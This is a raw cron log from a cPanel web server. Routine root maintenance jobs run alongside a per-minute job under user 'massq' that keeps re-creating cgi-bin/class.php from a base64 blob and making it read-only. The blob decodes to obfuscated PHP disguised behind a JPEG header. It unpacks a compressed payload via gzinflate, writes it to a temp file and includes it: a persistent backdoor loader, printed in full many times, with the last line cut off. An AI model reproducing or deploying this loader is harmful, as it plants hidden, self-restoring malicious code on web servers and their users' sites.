Sep  7 12:20:01 server CROND[20284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:20:01 server CROND[20287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:20:01 server CROND[20295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:20:01 server CROND[20294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:20:01 server CROND[20291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:20:01 server CROND[20296]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:20:01 server CROND[20292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:20:01 server CROND[20293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:21:01 server CROND[21133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:21:01 server CROND[21134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:21:01 server CROND[21135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:22:01 server CROND[21511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:22:01 server CROND[21512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:22:01 server CROND[21513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:23:01 server CROND[21996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:23:01 server CROND[21997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:23:01 server CROND[21998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:24:01 server CROND[22381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:24:01 server CROND[22382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:24:01 server CROND[22383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:25:01 server CROND[22818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:25:01 server CROND[22819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:25:01 server CROND[22821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:25:01 server CROND[22838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:25:01 server CROND[22858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:25:01 server CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:25:01 server CROND[22840]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 12:25:01 server CROND[22841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:26:01 server CROND[23927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:26:01 server CROND[23928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:26:01 server CROND[23929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:27:01 server CROND[24328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:27:01 server CROND[24330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:27:01 server CROND[24331]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:27:01 server CROND[24329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:28:01 server CROND[24716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:28:01 server CROND[24717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:28:01 server CROND[24718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:29:01 server CROND[25260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:29:01 server CROND[25261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:29:01 server CROND[25262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:30:01 server CROND[25659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:30:01 server CROND[25661]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:30:01 server CROND[25662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:30:01 server CROND[25663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:30:01 server CROND[25665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:30:01 server CROND[25664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:30:01 server CROND[25666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:30:01 server CROND[25668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:30:01 server CROND[25667]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 12:31:01 server CROND[26525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:31:01 server CROND[26526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQB